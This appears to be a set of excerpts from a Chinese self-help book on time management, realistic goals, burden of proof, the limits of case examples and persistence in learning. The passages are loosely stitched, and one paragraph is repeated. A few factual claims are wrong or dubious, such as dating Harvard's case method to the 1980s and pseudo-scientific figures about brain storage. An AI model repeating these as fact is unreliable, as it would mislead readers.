　　……我学心理学课程一事，纯属偶然。朋友××摔断了腰椎骨，打了石膏裤，瘫躺床上三月。我在自家墙上的挂历上写了一行字：“每周给××打个电话。”我当医生出身，知道卧床不起的病人非常寂寞，希望能躺着聊聊天。后来我就按照挂历上的提示，每周都给这个人打电话，有一句没一句地闲聊。尽管我很忙，还是会多磨蹭一点时间，让她开心。后来有一次，她随口说香港中文大学心理学教授林孟平到北师大带学生……我问，我能跟她学习吗？朋友说，那可不知道。后来感谢那位朋友说，我能学心理学，多亏你摔断了腰。

　　我由此领悟，真正的关心最终只有一种表现：为某人某事心甘情愿地花费时间，哪怕“浪费”时间。

　　这也很容易理解。当我们把时间花到一个人身上的时候，相当于在他身上倾注了自己生命的一段——不管最终的结果如何，那个人和那件事都已经成为我们生命中的一部分。每个人的时间都是有限的，所以，“真正的好朋友”谁都只有几个而已。

　　这实在是一个大到足以写两本书的话题。碍于篇幅，我只能提供两个简单但实践起来并不那么容易的建议：

　　专心做可以提升自己的事情，学习并拥有更多、更好的技能，成为一个值得他人交往的人。

　　学会独善其身，以不给他人制造麻烦为美德，用自己的独立赢得尊重。

效率

　　每个人都想提高效率，可奇怪的是，那么多所谓的“专家”怎么会常常忽略一个很简单又很明显的事实：没有任何机器可以一直用 100％的功率运转，人也一样。

　　记住，任何人都不可能 100％地有效率，至少不可能总是 100％地有效率。

　　有些时候，我们会非常有效率，但是，这种情况不可能永远维持。如果一个人强迫自己一定要如此，那么他必然会像那些始终用 100％的功率运转的机器一样，由于损耗太大而提前报废。

　　我常常看到一些学生做出长达几页的任务列表，这实际上是在浪费时间——他们花了太多的时间去计划自己根本完不成的事情。每个人的能力、效率都存在一个上限。让我们看看柳比歇夫(1)这个一生有无数成就的人是怎么说(2)的：

　　纯时间要比毛时间少得多。所谓毛时间，就是你花在这项工作上的时间。

　　常常有人说，他们一天工作十四五个小时。这样的人可能是有的。可是拿纯时间来说，我一天干不了那么多。我做学术工作的时间，最高纪录是 11 小时 30 分。一般，我能有七八个小时的纯工作时间，我就心满意足了。我最高纪录的一个月是 1937 年 7 月，我一个月工作了 316 小时，每日平均纯工作时间是 7 小时。如果把纯时间折算成毛时间，应该增加 25％到 30％；我逐渐改进我的统计，最后形成了我现在使用的方法……

　　当然，每个人每天都要睡觉，都要吃饭。换句话说，每个人都有一定的时间用在标准活动上。工作经验表明，约有 12 至 13 小时毛时间可以用于非标准活动，诸如上班办公、学术工作、社会工作、娱乐，等等。

　　从这里就可以看出，在做时间预算的时候，一定要留有空间。一方面，我们必须清楚肯定会有意外事件发生，所以要留出时间处理这些意外事件；另一方面，我们必须使用适当的方法休息、放松，以便恢复精力，在良好的状态下做更多的事情。一个人除了工作、学习之外，一定要保证自己有足够的其他活动。例如，我常常劝大学生们一定要在大学毕业之前轰轰烈烈地爱一场，或者至少要偷偷摸摸地恋一次，就是这个道理。

　　要做一个正常人——这是每个人的权利。一个正常人，每天都要做很多工作和学习之外的事情，例如：喝点茶或者喝点咖啡，甚至有些人是必须喝点酒的；读读报，翻翻闲书，当然，更多的人喜欢看看电视或者电影；散散步，爬爬山，还有一些人会很规律地去健身房确保自己的身体一切正常；男人看看姑娘、女人瞄瞄帅哥，毫无疑问，对成年人来讲，保证规律而健康的两性交往，对心理健康很有帮助……

　　如果一个人把大部分的时间花在工作和学习上，那么他是以工作成就为导向的人；如果一个人把大部分的时间花在享受欢乐上，那么他是以生活满足为导向的人。每个人都不相同，有些人可以在工作和学习上获得更多的乐趣，有些人则会在生活琐事中获得更多的幸福。

　　所以，你需要确定自己是一个什么样的人。很多时候，鱼和熊掌确实不可兼得——你必须选择。这也会使你非常清楚一个简单的事实：选择意味着放弃。选择做某件事情，可能就不能去做另一件事情——哪怕你觉得你可以一起做两件事情，实际上你也已经不可能同时做第三件事情了。

　　这时候，黄金分割率(3)可以作为一件趁手的工具。如果一天你可以规划的时间有 10 小时，并且你确定自己是以工作成就为导向的人，那就这样规划吧：用大约 6.18 小时去工作和学习，而用剩下的大约 3.82 小时去享受欢乐——你毕竟是一个正常人。反过来，如果你确定自己是以生活满足为导向的人，那就这样规划吧：用大约 6.18 小时去享受欢乐，而用剩下的大约 3.82 小时去工作和学习——你毕竟还要想办法养活自己。

　　每个人专注的重点是不一样的。少数情况下，一个人可以专注到无以复加的地步——看看那些几天几夜打麻将的人，那些每天除了吸毒什么都不做的人，那些长时间坐在计算机前玩游戏的人就知道了。不过，这些都是负面的例子。通过前面阐释的那些道理，我们可以知道，这些人本质上应该是“被自己的大脑所控制”的人，而不是“控制自己的大脑”的人。某种意义上，我们不得不说，这样的人心智发育不是很健全，因为他们太容易满足并仅仅满足于简单的感官刺激，而很少甚至无法感知那种需要通过复杂的劳动才可以获得的心灵上的愉悦。

　　相信我，通过一定的练习，你肯定能做到摆脱你的大脑的控制，进而完全控制它，或者至少做到部分摆脱你的大脑的控制，进而拥有一些控制它的能力。我们通过什么方法确信自己做到了或者至少部分做到了这种控制呢？很简单：看看每天自己做的事情里，有多少是尽管无趣却非常重要的，有多少是非常有趣却不重要的。如果我们一整天都在做那些非常重要但可能并无乐趣的事情，那就意味着，我们已经完全摆脱了大脑的控制，进而成为大脑的真正主人了。

　　在这一点上——其实这世间的绝大多数事情都是一样的——不见得一定要做到极致才可以。简单地说，如果满分是 100 分，还是可以按照黄金分割法，做到 61.8 分就够了。因为 61.8 分以上的成绩，必须放弃很多才可以获得。不信的话，看看那些奥运冠军就知道了——他们的身体很少不带伤。当然，更多运动员会由于伤病或其他原因提前退出，而一般人却不可能认识他们——能够被人们记住的都是那些坚持到底并获得冠军的运动员。这里说的“坚持到底”，不是指他们的毅力，而是指他们的运气。要知道，那些不得不提前退役的运动员很可能有着超强的毅力。即使是获得了冠军的那些运动员，也很可能根本就是在透支自己。还有一点也很重要：他们不可能一辈子保持那种状态。

　　很多人半途而废，往往是因为把目标设定得太高，同时又对达成那么高的目标要付出的代价缺乏清楚的认识。这足以体现“自知之明”的重要性。我常常觉得，很多快乐是建立在“自知之明”上的。我知道自己的优点是什么，同时也知道自己的缺点是什么，所以，通常情况下，我不大可能做白日梦。例如在我当英语老师这件事上，一方面，我知道我会成为一个很好的老师，但另一方面，我也知道自己的某些局限使我不会在这个领域成为俞敏洪式的人物。那又怎么样呢？我一样过得很好。平庸的人也有权利快乐。

　　当我开始定期去健身房锻炼身体后，我惊讶地发现自己的肌肉基因其实很好——我只要稍加锻炼，就可以使肌肉非常饱满。但我知道自己要的是什么。我不想练成健身教练那样，因为我知道，练成健身教练那样，需要每天练两次，每次至少花费 150 分钟以上，一天至少五餐，睡眠时间不能低于 9 小时。还有一个不能忽略的情况是，健身教练的收入往往不高。我考虑了一下，认为我不能用我的时间和收入换取健身教练一样的身材。并且，我又何必一定要在身材上拿 100 分呢？61.8 分就是我现在这样子：身高 1.72 米，体重 75 到 80 千克，腰围 72 厘米左右——挺好。

　　还记得正态分布曲线吗？

　　讲到这里，你应该明白为什么许多人读过很多时间管理类的书，却最终一无所获了吧！他们之所以觉得那些书没什么作用，其实不见得是那些书上写的道理不正确(4)，问题出在他们自己身上——他们竟然每一次都给自己定下 100 分的目标！就算书上的内容是正确的，但由于实践的方法不合理，结果也很难让人满意。当然，很多时间管理之外的、原本应该特别有用的书，无数人读过之后并没有多少收获，也是基于同样的原因。

　　请再次拿出纸和笔，罗列一下那些尽管无趣，但实际上对你来说非常重要的事情吧！如果你是一名学生，那件事情可能是背英语单词；如果你是一名教师，那件事情可能是给学生批改作文；如果你是一名程序员，那件事情可能是给代码写详尽的注释；如果你是一名业务经理，那件事情可能是给你那挑剔的上司写下一年度的预算……

　　不管怎样，挑出一件你认为最重要的事情，然后给自己做个时间表，保证自己在未来的一个星期乃至一个月的时间里每天至少专注于这件事情 2 小时——当然，如果能做到专注 3 小时更好。相信我，大多数情况下，2 小时已经基本足够。如果有一件需要你每天专注 4 小时才能实现的事情你竟然坚持做完了，那你肯定会被身边的人羡慕。比羡慕更重要的是，你会因此赢得尊重——他们知道自己做不到，尽管你并没有、也没必要提醒他们。

　　实际上，我敢打赌，在自己不喜欢的事情上专注 2 小时，未经训练的你肯定做不到，因为没有任何人不经训练就能做到。

　　最初的时候，可以参考“番茄工作法(5)”。例如，你需要专注于这件事情 2 小时，即 120 分钟，那你就可以把当天的任务分解成 6 块，每一块用 20 分钟去完成，再把 20 分钟当作专注的基本时间单位，在每个时间单位过后休息 5 分钟，想办法犒劳一下自己——喝杯喜欢的饮料，或者给恋人打个电话说点肉麻的话……在休息时间的最后 1 分钟，重新振作，试着恢复状态，进入下一个基本时间单位——另一个 20 分钟。

　　显而易见，按照这样的设计，我们最终需要规划 150 分钟左右的时间开销，才能实现完全专注 120 分钟的目标。这个方法非常简单，却非常有效，很容易就能看到效果，相对来说也应该很容易坚持。当然，一个人经过一段时间的训练后，这种分割时间的方法对他来说就没什么必要了。因为，他应当已经可以比较自如地专注在他应该做的、非常重要的事情上了——无论这件事情是有趣还是无趣。

诡辩术

举证责任

　　也许你曾遇到过这类对话——

　　甲：我要……

　　乙：那么做有什么好处？

　　甲：呃……那你说，有什么坏处？

　　乙：……

　　甲：那就这么定了！

　　（甲究竟要做什么在这里并不重要，重要的是，在甲的眼里，乙“哑口无言”就是甲的胜利。）

　　另一个本质上一样的例子是——

　　甲：有人能活 200 岁以上！

　　乙：……扯淡，我还真没见过活过 200 岁的！

　　甲：你没见过就没有啊？你必须找遍全世界才能证明确实没有！

　　（不要误解，这确实是发生在 21 世纪的对话。）

　　这两个例子的共通之处在哪里呢？

　　在第一个例子中，甲声称要做某事，那么，“证明那么做是有好处的”这个责任应该由甲来承担，而不是由乙去“证明那么做有什么坏处”或者“证明那么做确实一点坏处都没有”。即便乙真的证明了“那么做确实一点坏处都没有”，也并不能证明“那么做真的有什么具体的好处”。

　　在第二个例子中，乙反驳的是甲声称的“有人能活 200 岁以上”，而“乙不能证明地球上绝对没有 200 岁以上的人”本身，并不能反过来证明“有人能活 200 岁以上”。“找出一个超过 200 岁的人”，是甲的责任，而不是乙的责任。

　　“谁主张，谁举证”不仅是一个法律术语，它涉及生活的方方面面。可惜，大多数人并未在意。事实上，不懂“举证责任”就是一个思考时“误入歧途”的常见原因(1)。

　　不明白“举证责任”的人，逻辑没办法明晰，脑子没办法清楚。这几个字看上去似乎没什么了不起，但有人因此落榜（迷信了某种诡异的学习方法），有人因此离婚（胡乱猜疑直至搞毁一切），有人因此破产（采取了错误的策略进而陷入不可逆转的困境），有人因此出家（原因请自行揣摩）……他们的共同点是——至死都想不明白问题究竟出在哪里(2)。

案例局限

　　用案例说理的方法，估计源自 20 世纪 80 年代中期哈佛商学院(1)首创的“案例教学法(2)”。

　　在哈佛商学院刚刚起步的时候，教授们就发现根本找不到合适的教材。他们首先想到的解决方案是去采访那些顶尖的商人，详细地记录这些卓越的领导者正在做的事情和做事情的方法，也就是所谓“个案”。经过一番努力和分析，这些教授发现他们不可能拿着这些“个案”照本宣科，因为事实上根本就不存在既定的“标准”来衡量“为什么会成功”、“为什么会失败”。在这种情况下，教授们采取了不同于以往的方法来指导学生：让学生们先去认真阅读这些“个案”，然后认真准备课堂讨论，并提出进一步的行动方案。基本上，到今天为止，这种“教学模型”依然是这样运用的。

　　案例教学法固然相对先进，但跟其他教学方法一样，它也有自己的局限，很容易陷入一些常见的谬误。可是，很多书籍都把哈佛商学院“承认有缺陷但不得不使用”的案例教学法当作天经地义的方法，导致各种各样的逻辑错误随处可见。

　　其中最为常见的逻辑错误就是“以偏概全”——某种经验在某个人身上应验了，并不意味着该经验在所有人身上都会起作用。例如，不少书籍曾这样用爱迪生(3)举例说理：

　　爱迪生活了 84 岁，一生的发明有 1100 多项，对自己成功的原因，他曾这么说：“有些人以为我之所以在许多事情上有成就是因为我有什么‘天才’，这是不正确的。无论哪个头脑清楚的人，如果他肯努力行动，都能像我一样有成就。”爱迪生的名言是：“天才是 1％的灵感，99％的汗水。(4)”

　　“努力行动”并不是成功的唯一原因。例如，显而易见、至关紧要，但并不经常被提及的是，爱迪生有幸出生在一个知识产权保护体系相对完善的国度。如果再深入追溯的话，爱迪生的巨大成功有一个相当重要的原因——他运气好，有一位伟大的母亲。爱迪生 8 岁上学，但仅仅读了 3 个月的书，就被老师斥为“低能儿”而撵出校门——在任何一个地方，闲着没事跑到鸡舍用自己的身体孵鸡蛋的孩子都可能被大多数老师认为是“低能儿”。从此以后，他的母亲成了他的“家庭教师”。母亲良好的教育方法，使得爱迪生对读书产生了浓厚的兴趣，他不仅博览群书，而且一目十行、过目成诵。不妨假设一下，爱迪生若是出生在 19 世纪末的中国……

　　事实上，这个世界上也有另外一些人，采取了与“努力行动”恰恰相反的行为模式，同样获得了成就或者取得了成功——尽管其表现形式有所不同。例如，沃伦·巴菲特(5)买入他认为值得持有的股票后，就只采取一个等同于“不努力、不行动”的策略——等待卖出时机。对像可口可乐这样的股票，巴菲特甚至干脆在买入之后不采取任何动作。莫罕达斯·卡拉姆昌德·甘地(6)的“非暴力、不合作”策略，也与“努力行动”恰好相反。

　　注意，我并不是说“不应该努力行动”——我是一个相信“应当努力”的人。我认为，巴菲特在买入可口可乐股票之后“永远持有”也是需要努力才能坚持的行动，而甘地的“非暴力、不合作”更是需要更多的心智力量才可以实践的行动。

　　我要说的是，爱迪生的“案例”只能告诉我们：爱迪生非常努力、非常勤奋、热爱工作、热爱生活。但是，这个“案例”无法证明：一个人只要跟爱迪生一样“非常努力、非常勤奋、热爱工作、热爱生活”，就可以获得与他一样的成就——明显还需要很多其他因素。其实，爱迪生是不是一个特别努力的人，本质上与我们没什么关系，我们该努力还得努力，不应该仅仅因为别人努力或者不努力，我们就放弃努力。

　　尽管很多时候我们只能利用案例来说明道理，就像本书第 1 章“我的案例”一节里那样。可是，在使用案例说明道理的时候，要时时刻刻注意案例和结论之间的实际逻辑关系，尽量避免以偏概全。

对立论证

　　在第 1 章“我的案例”一节，我们讨论过这样一种情况：人们可能基于一模一样的原因作出截然相反的决定。换句话说，就是用同样的论据证明截然相反的论点。生活中，我们常常遇到这种情况，只不过表现形式多少有些不同。例如，有些时候，我们遇到的是“同样的现象，截然相反的解释”。

　　一个很常见的例子是，工作中总有一些人抱怨老板或者上司愚蠢。可是，上司真的愚蠢吗？我们并不排除在有些情况下，上司确实很愚蠢的可能性——没有人十全十美。

　　然而，另外一个解释可能更合理：在大多数情况下，一个人如果不做事，是不会暴露自己的缺点的，因为人只有在做事的时候才会暴露缺点。这也是大多数人并不自知的一个重要原因——他们正在做的事情往往是别人要求他们做的。在任何一个部门或团队里，上司做的事情全都是显性的，是所有下属或者成员都看得见的；而下属之间、成员之间往往并不清楚对方正在做什么。于是，下属们更容易“共同”看到上司的缺点。钱锺书(1)先生有一段很有趣的描述(2)：“事实上，一个人的缺点正像猴子的尾巴，猴子蹲在地面的时候，尾巴是看不见的，直到他向树上爬，就把后部供大众瞻仰，可是这红臀长尾巴本来就有，并非地位爬高了的新标识。”

　　抱怨上司“愚蠢”的人和能够发觉“上司的愚蠢可能有另外的解释”的人，得到的结论和采取的行动往往截然相反。因此，时间在他们接下来的经历中所产生的伴随作用也截然相反。这里，时间再一次选择与心智强大的人做朋友，他们会这样考虑这个问题：

　　仔细观察一下就会发现，那些不停抱怨“上司的愚蠢”的人基本上有一个共同点：他们不过是把“上司很愚蠢”作为自己偷懒的借口。他们并不清楚自己的可笑与可悲：既然上司那么“愚蠢”，自己又为什么要用宝贵生命中的大部分时间为这个“愚蠢”的上司打工？那些少数能够提出建设性意见的人是不会抱怨“上司很愚蠢”的，他们要么想办法帮助上司解决问题，要么在爱莫能助的时候自行离开。

　　实际上，所谓的“情商”，从根源上朴素地看，还是思考能力问题。举个例子，所谓的“积极心理学”主张“凡事要从积极的一面去理解”。事实上，这种观点失之偏颇。有些结论有对立的论据，有些现象有对立的解释。许多人意识不到对立论证的存在，只不过是因为心智未被开启，不懂得运用恰当的思考工具而已。一旦意识到对立论证的存在，应该“哪一个更合理、更现实就接受哪一个”，而非“哪一个更积极就接受哪一个”，因为后者只是自我欺骗而已。积极的并不总是好的，哪一个极端理想主义者（以及他们的想法、理念）不是积极的呢？

摘录

　　我索性在维基百科和 Google 上做了更多的功课。这下我才知道，原来现在科学家们对所谓的“潜意识”也有了更多简单明了的科学解释。人类大脑中的灰质所储存的各种信息里只有很少的一部分（很难超过 12％）是有序存储的，这些部分被人们称作“有意识”的。而更多的信息或者信息碎片是无序储存的，甚至是很难通过意识直接调出的，这些部分往往被人们称作“无意识”或者“潜意识”的。梦境就是潜意识存在的最基本的证据。

　　随着信息输入量的增加，大脑会因为需要而主动生成新的灰质细胞。科学家们已经发现，使用两种或者两种以上语言的人的大脑拥有更多的灰质细胞。而由于颅腔的大小是有限的，于是，灰质细胞的增加最终会导致灰质的密度越来越高，这亦会令灰质细胞之间由神经元连接起来的可能性越来越大，人们所说的“融会贯通”现象也就有可能出现——那些原本貌似毫不相干的信息现在有机会被联系在一起了。所以，所谓知识渊博的人，就是那些大脑中存储的信息量超常地多的人。这些人总是可以“融会贯通”，看上去也就超常地充满“智慧”。

　　从这里就可以看出，在做时间预算的时候，一定要留有空间。一方面，我们必须清楚肯定会有意外事件发生，所以要留出时间处理这些意外事件；另一方面，我们必须使用适当的方法休息、放松，以便恢复精力，在良好的状态下做更多的事情。一个人除了工作、学习之外，一定要保证自己有足够的其他活动。例如，我常常劝大学生们一定要在大学毕业之前轰轰烈烈地爱一场，或者至少要偷偷摸摸地恋一次，就是这个道理。

　　美国数学家约翰·纳什(2)就是一个很好的例子：他是历史上第一个广为人知的“用自己的精神战胜了自己的精神病”的人。换言之，纳什通过挣扎学会了控制自己的大脑，不再被自己大脑中的幻觉所控制。

　　另一个经典的例子是著名的奥地利神经学家、精神病学家维克多·弗兰克(3)。他的父母、妻子、兄弟都死于纳粹的魔掌，而他本人则在纳粹集中营里受到残酷对待。经历了无数的波折与思考后，他明白了一件事：“人所拥有的任何东西，都可以被剥夺，唯独人性最后的自由——也就是在任何境遇中选择一己态度和生活方式的自由——不能被剥夺。(4)”

　　大多数人对其自身的满意程度从 15 岁左右开始持续下降，这大抵是不再“无知无畏”造成的。从那时起，一个人慢慢地意识到自己在这个世界上其实是微不足道的，进而开始在所谓的理想和扭曲的现实中拼斗、挣扎，直到 45 岁左右才渐出苦海，曲线开始上扬。这就是以一个普通人的心智，观察、感受、思索、理解、实践、回顾，直至恍然大悟或者误入歧途的时间——30 年。

　　在这漫长的 30 年里，由自我满意度持续下降所造成的浮躁形成了巨大的心理压力。越是浮躁，就越是对自己的现状不满；越是对自己的现状不满，就越是浮躁。

　　生活的本质就是这样，你想要什么，它偏不给你什么。摆脱这个死循环的方法只有一个——给我什么我就用好什么，积累到一定程度再去换能换的东西。要不断想办法运用心智的力量去识别那些死循环和恶性循环(1)，然后在好像不可能的情况下跳出去。出者存，困者亡。

　　生活中类似的死循环非常多。例如，找工作的时候，招聘方要求应聘者有 3 年以上工作经验，应聘者因为没有工作经验而无法获得这份工作，进而没有工作经验……好像永远无法找到工作。再如，你到银行贷款，银行说贷款得有抵押，有东西可供抵押的意思是，你是有资产的人，而你很可能恰恰因为没有资产才急需贷款……好像永远无法获得贷款。

　　要想跳出去倒也简单。拿出一张纸，将其划分为左右两半，然后做两个列表，左边是“我有的”，右边是“我要的”，逐一罗列。完成后要尽量客观地判断：先划掉“我要的”当中那些无法用“我有的”换取的；再仔细判断在剩下的能用“我有的”换取的那些“我要的”之中，哪些是必须的、必要的、重要的、不可或缺的，并在其上做重点标记。偶尔会有一些“我要的”无法用现在“我有的”换得，却又是必须、必要，甚至不可或缺的，这需要我们认真考虑用什么样的手段再积累一些“我有的”，从而有足够的资本换取那些“暂时换不到但极其想要的”——或努力勤奋，或投机取巧。投机的方式并非不能用，尽管它的成功概率实际上并没有看起来那么高，而它的失败概率甚至和它看起来的成功概率一样高。

　　还有一个辅助手段，就是在想到“我要什么”的时候马上提醒自己，接下来要花一些时间去思考“我有什么”。后者会在转瞬间让你“脚踏实地”。

　　最坏的情况是，拿出纸和笔认真面对自己，结果发现“我什么都没有”。这也许令人气馁，但其实对任何一个正常人来说，还有时间、还有精力、还有正常的智商就已经足够了。只要努力，只要勤奋，机会总是存在的——我们必须要相信这一点，最好相信到毫不怀疑。

　　在进入任何一个新领域时，这种压力都能使新手窒息。而已经在那个领域里“浸泡”过一段时间的人，往往早已忘记了曾经面对的恐惧和压力，懒得（抑或不屑）开导新手、帮助新手。其实，更多的时候，一些老手实际上并不是“懒得”或者“不屑”，而是“没想到竟然连这个也需要解释”。这就像我们每个人小时候要挣扎很久才学会系鞋带，可成年之后却早已忘记它竟然是一件需要挣扎才能学会的事情一样。而另外一些老手是因为“很快就学会”所以没想到“竟然有人连这个都不会”。

　　例如，自学编程的人可能会在教程编纂者全然没想到的地方卡壳。当 Google API 的文档编纂者穷尽力气去写一个“想让任何人都看得懂”的文档的时候，他们不知道有些新手一看到以下的代码，就会先被“foo”、“bar(1)”这两个词卡住。这些新手会不由自主地问：它们是什么意思？为什么要取这样的名字？

foo（'bar', {
…
}
, 200, null）

　　事实上，许多“入门读物”之中充斥这两个“怪词”，却几乎从来没有人针对这样的疑问提供充分的解释。

　　其次，我们要了解未知分为两种：一种是永远不能解决的，另一种是在可预见的未来也许能够解决的。对一个人来说，超过 100 年就可以算“永远”了，所以，第一种未知对个人来说意义不大，第二种未知却是我们必须面对的，学习的难度也在于此。“第一章的内容需要在掌握后面某一章的知识之后才能深入了解”，这几乎是所有高难知识体系的普遍特征。也就是说，在第一章，我们会有无数疑问，可这些疑问以当时的知识是无法全部解答的，需要我们继续学习，用接下来获得的知识解答现在的疑问。这就是那些爱钻牛角尖的人最终常常吃亏的重要原因——他们总是想“马上解决当时不可能解决的问题”。

　　一个相对有效的策略是：当有问题解决不了时，可以先把它记下来，然后继续前行。注意，一定要把问题记下来。很多人没有记录的习惯，以至出现曾经因为思考（疑问就是思考的起点）后“忘了”而失去获得答案机会的情况。继续前行，并不意味着忽略这些问题——它们已被记录在案，也由此获得了被重新审视的机会。不一定当什么时候、在什么地方、因什么由头，它们之中的一部分就突然有了明确的解决方案。当然，可能性最大的原因只有一个——你一直在前行，你一直在积累，你一直在成长。所以，到有了答案的那一刻，你不再是当初无能为力的你，你已经重生。

　　很多人（应该是绝大多数人）的工作态度本质上是“骑驴找马”。基于种种原因（主要是概率问题），人们往往对自己正在从事的职业并不满意。很多人都心怀梦想，有一个“无论如何早晚都要从事的梦想职业”，而不幸的是，很多人正因如此最终沦为平庸之辈（有例外，但这例外太少，几乎可以忽略）。

　　尽管天分确实很重要，但一个人的能力主要靠积累获得。从一个人开始从事一个职业的那一瞬间起，只要足够认真、努力，他的能力就会不停地积累。如果这个人实际上向往的是另一个职业，那么他的所谓“梦想”几乎必然使他在当前这份职业上心不在焉、无甚积累。其实，世界上 80％以上的职业并不过分依赖天分，更可能甚至几乎只依赖积累。天长日久，这个人在当前的职业中将逐渐落后于那些认真做事的人。但此时他不会因为自己的落后而奋起直追，反过来，更可能的是把“反正我的梦想不是这个”当作借口。

　　无论是谁，进入自己梦想职业的成本都很高昂——极少数运气好的人除外——有些相对依赖天分和运气的行业更是如此（顾长卫(2)导演、蒋雯丽(3)主演的电影《立春》(4)讲的就是这样一个故事）。当初未能从事一个职业就已经能说明问题了——除了运气不好，更可能的原因是积累不够。几年过去，这个人在他的所谓“梦想职业”中的经验积累依然是零，仍旧只是空有梦想。还有一个他更可能宁愿视而不见的事实是，那些在他所谓“梦想职业”中拼搏努力的人在这段时间里已经积累了无数经验，磨炼出了他在“圈外”无法想象的各种能力。就算有一天，这个人有足够的运气，进入了那个他梦寐以求的领域，结果可能还是发现自己一无所有、毫无竞争力，最后不过是一切清零、从头再来。

　　心怀“梦想”的时间越长，它的沉没成本就越高。很多人都在无意之间被自己的“梦想”所绑架，所以，很多时候，对很多人来说，所谓“梦想”也许只是陷阱。许多年来，我曾见过身边不少的人一点一点被他们珍爱的“梦想”毁掉。

　　越是不满现状，摆脱现状的欲望就越强烈，而这种欲望会让一个人最终迷失方向，因为无论是谁，从本质上看都无法摆脱现状——每一时刻的现状都是过去某一或者某些时刻的结果，而每一时刻的现状都是未来某一或者某些时刻的原因。没有人能够逃脱现实的束缚。

　　从某种意义上理解，“逆境造就成功”、“磨难令人成熟”之类的话纯属胡说八道。显然，在顺境中更容易成功，而且很多磨难根本没有必要——这更可能是失败者对他们自己一生都未曾有机会体验的成功及成功者“意淫”式的猜想而已。失败者永远没有机会了解成功的真相，因为人最容易受自身经验的限制，而不曾有哪怕一点点成功经验的人更无从摆脱自身的局限。

　　对现状不满、急于摆脱现状，是人们常常不知不觉落入的陷阱（尽管偶尔这也是少数人真正的动力）。接受现状才是最优策略——有什么做什么，有什么用什么；做什么都做好，用什么都用好。不要常常觉得苦（这会让人忍不住顾影自怜，浪费精力与时间），而要想办法在任何情况下找到情趣——快乐是一种本事。这些年我遇到的优秀的年轻人几乎都有这样的特征：他们很少对现状不满（可能是他们的优秀使他们难以觉得不满吧），他们热爱自己的生活，他们相对更不在意外界的影响，他们更专注于做事而心无旁骛，他们身处良性循环之中，当然，他们也因此每时每刻都在进步。

　　2000 多年后，卡尔·马克思(7)选择了另外一种形式的逃避，即使用幻想。他注意到了资源的“分配不公”（准确地讲应该是“分配不均”），但无法接受“资源分配与人性并无关系”这个事实。他认为，“资源的配置应该在最无愧于和最适合于人类本性的条件下进行”。在用劳动价值论和剩余价值论解释自己对世界的观察之后，他开始幻想，对这个世界说：“你不是资源稀缺吗？没关系。别看现在是这样的，但是，早晚有一天，物质会极端丰富。到那个时候，人们就可以各取所需了！”事实上，在马克思去世 100 多年之后的今天，物质和他作出以上论述时比，已经相对极端丰富，但我们看到的事实是：物质依然稀缺且依然分配不均，贫富差距也越来越大。

　　为什么人们总是错误估计完成任务所需要的时间呢？因为大多数人在执行任务之前忽略了一个重要的步骤，那就是分辨任务的属性——它是熟悉的还是陌生的？

　　有些任务是你所熟悉的，即以前曾经做过的。由于已经做过（一次或多次），所以，你清楚地了解这个任务的每一个环节，知道应该如何拆解任务、应该怎样分配拆解出来的子任务、每一个子任务有多少个步骤、每一个步骤需要耗费多长时间、哪些步骤需要格外小心……在这种情况下，正确估算完成任务需要的时间是很容易的。

　　然而，有些任务是你所陌生的，那么在执行过程中就必然会遭遇各种所谓的“意外”。其实它们根本不是意外，只不过是因为你对任务不熟悉，它们才成了“意外”。实际上，这些“意外”是任何完成这个任务的人都必然会经历的事情。只有完整地执行一次任务，任务的属性由“陌生”变为“熟悉”之后，才有可能顺利解决这些“意外”。

　　对学习来说，任务“陌生”的可能性更大，因为学习本身是一个探索未知的过程。完成学习任务常常需要花费比我们想象中多得多的时间。对工作来说，任务“熟悉”的可能性更大。因为工作本身是一个应用已知的过程。当然，不同的工作，情况还是有所不同。例如，有些工作需要更多创新，有些工作可能前所未有……所以，在现实生活中，我们需要完成的任务的真实属性往往是“一部分熟悉，一部分陌生”。这就从根本上解释了为什么前文描述的那个貌似悖论的法则总是应验——我们必须处理未知，而从陌生到熟悉，就需要花费时间去学习，这个过程无法逾越。

　　多年前，我在网上读到彼得·诺维格(4)的一篇文章：《十年学会程序设计》(5)。在这篇文章中，诺维格表示，人们购买那种名字类似“7 天自学 Java 语言”的书是无知的表现，他认为，用 10 年时间学习程序设计才真正现实，也非常值当。他写道——

　　约翰·海斯(6)和本杰明·布鲁姆(7)的研究(8)表明，在几乎所有领域，培养专业技能大约需要 10 年。他们研究的领域包括国际象棋、作曲、绘画、钢琴、游泳、网球以及神经心理学、数学拓扑学。似乎没有真正的捷径——即使是在 4 岁时就展露音乐天赋的莫扎特(9)，也仍然用了超过 13 年的时间才谱写出世界级的乐曲。

　　再看看另一个领域的例子。披头士乐队(10)似乎是于 1964 年在爱德·沙利文秀(11)登台后突然火爆起来并成为第一乐队的，但他们其实从 1957 年就开始在利物浦、汉堡等地的小型俱乐部表演了。虽然他们很早就显现出了强大的吸引力，但对他们的成功具有决定意义的作品《佩珀中士(12)》也是 1967 年才发行的。

　　塞缪尔·约翰逊(13)甚至认为 10 年还不够，他说：“任何领域的卓越成就都必须用一生的努力才能取得；代价稍微低一点都无法换来。”杰弗里·乔叟(14)则感叹：“生命如此短暂，学习技艺需要的时间却如此绵长。”

　　在彼得·诺维格发表这篇文章的数年后，2008 年 11 月，马尔科姆·格莱德威尔(15)出版了《异类》(16)一书。在这本书中，格莱德威尔把“10 年”换算成了更为精确的“10000 小时”——想要出类拔萃，就要努力至少 10000 小时。

　　要想提高估算时间的能力，就要从现在开始养成习惯：做任何事情之前先判断其熟悉程度（或陌生程度），再据此判断估算完成任务所需要的时间。通常情况下，“反正比一般人想得长多了”倒是一个屡试不爽的假设。

　　只要做事，就一定会出问题。这是现实——无论何人，无论何事。如果在做事的过程中没有出现任何问题，那肯定不是在做事，而是在做梦。

　　认清并接受这个现实很重要。只有这样，才能心平气和地去做事。说一个人不怕困难，那是假话。谁不想一帆风顺、马到成功？可现实就是如此。做事情的时候，肯定会遇到困难，事情越有价值，困难就越具规模。遇到困难的时候，心平气和地面对就好，因为这只不过是生活常态。有时我们花费了很多时间和精力依然没能解决问题，却眼见别人轻松过关，这确实令人气馁。不过，这也是生活常态——在任何一个特定领域，总有一些人比另一些人表现更好、费力更少。然而，在大多数情况下，有 4 个字颇具道理并且值得相信——勤能补拙。不过，真正相信这 4 个字的前提是“接受现实”，否则，这 4 个字发挥不了任何实际作用。

